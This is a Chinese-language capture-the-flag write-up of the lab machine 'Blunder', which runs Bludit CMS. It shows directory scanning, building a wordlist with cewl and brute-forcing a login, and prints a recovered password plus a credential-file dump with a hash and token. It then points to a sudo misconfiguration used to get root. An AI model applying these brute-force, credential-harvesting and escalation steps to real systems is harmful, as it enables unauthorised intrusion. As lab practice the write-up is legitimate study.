基本信息

端口扫描

21和80,21closed

80

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gobuster dir -u http://10.10.10.191/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
...
/install.php (Status: 200)
/.htaccess (Status: 403)
/robots.txt (Status: 200)
/.html (Status: 403)
/.php (Status: 403)
/.htpasswd (Status: 403)
/.htm (Status: 403)
/.htpasswds (Status: 403)
/.gitignore (Status: 200)
/.htgroup (Status: 403)
/wp-forum.phps (Status: 403)
/.htaccess.bak (Status: 403)
/.htuser (Status: 403)
/.ht (Status: 403)
/.htc (Status: 403)
/todo.txt (Status: 200)
...

admin

有个admin目录,需要账号密码:

install.php

install.php可以看出是Bludit:

robots.txt

.gitignore

todo.txt

fergus应该是用户名

密码爆破

因为没什么其他有用信息,就使用cewl根据网页内容生成密码字典:

1
cewl -w wordlists.txt -d 10 -m 1 http://10.10.10.191

因为登录会带一个csrf token,不能直接用burp之类的爆破:

根据前面知道的Bludit能够搜到爆破脚本:

1
2
SUCCESS: Password found!
Use fergus:RolandDeschain to login.

成功登录:

文件上传

搜索Bludit漏洞得到相关信息:

直接加载meterpreter方便后续操作:

搜集信息

在web目录有一个新版本的Bludit,里面配置文件中有密码信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""}
}

user flag

使用上面解出来的密码切换到hugo用户,得到user.txt:

提权信息

直接sudo -l能够看到:

1
(ALL, !root) /bin/bash

很容易搜索到利用方式:

root flag

直接提权读取root.txt:

参考资料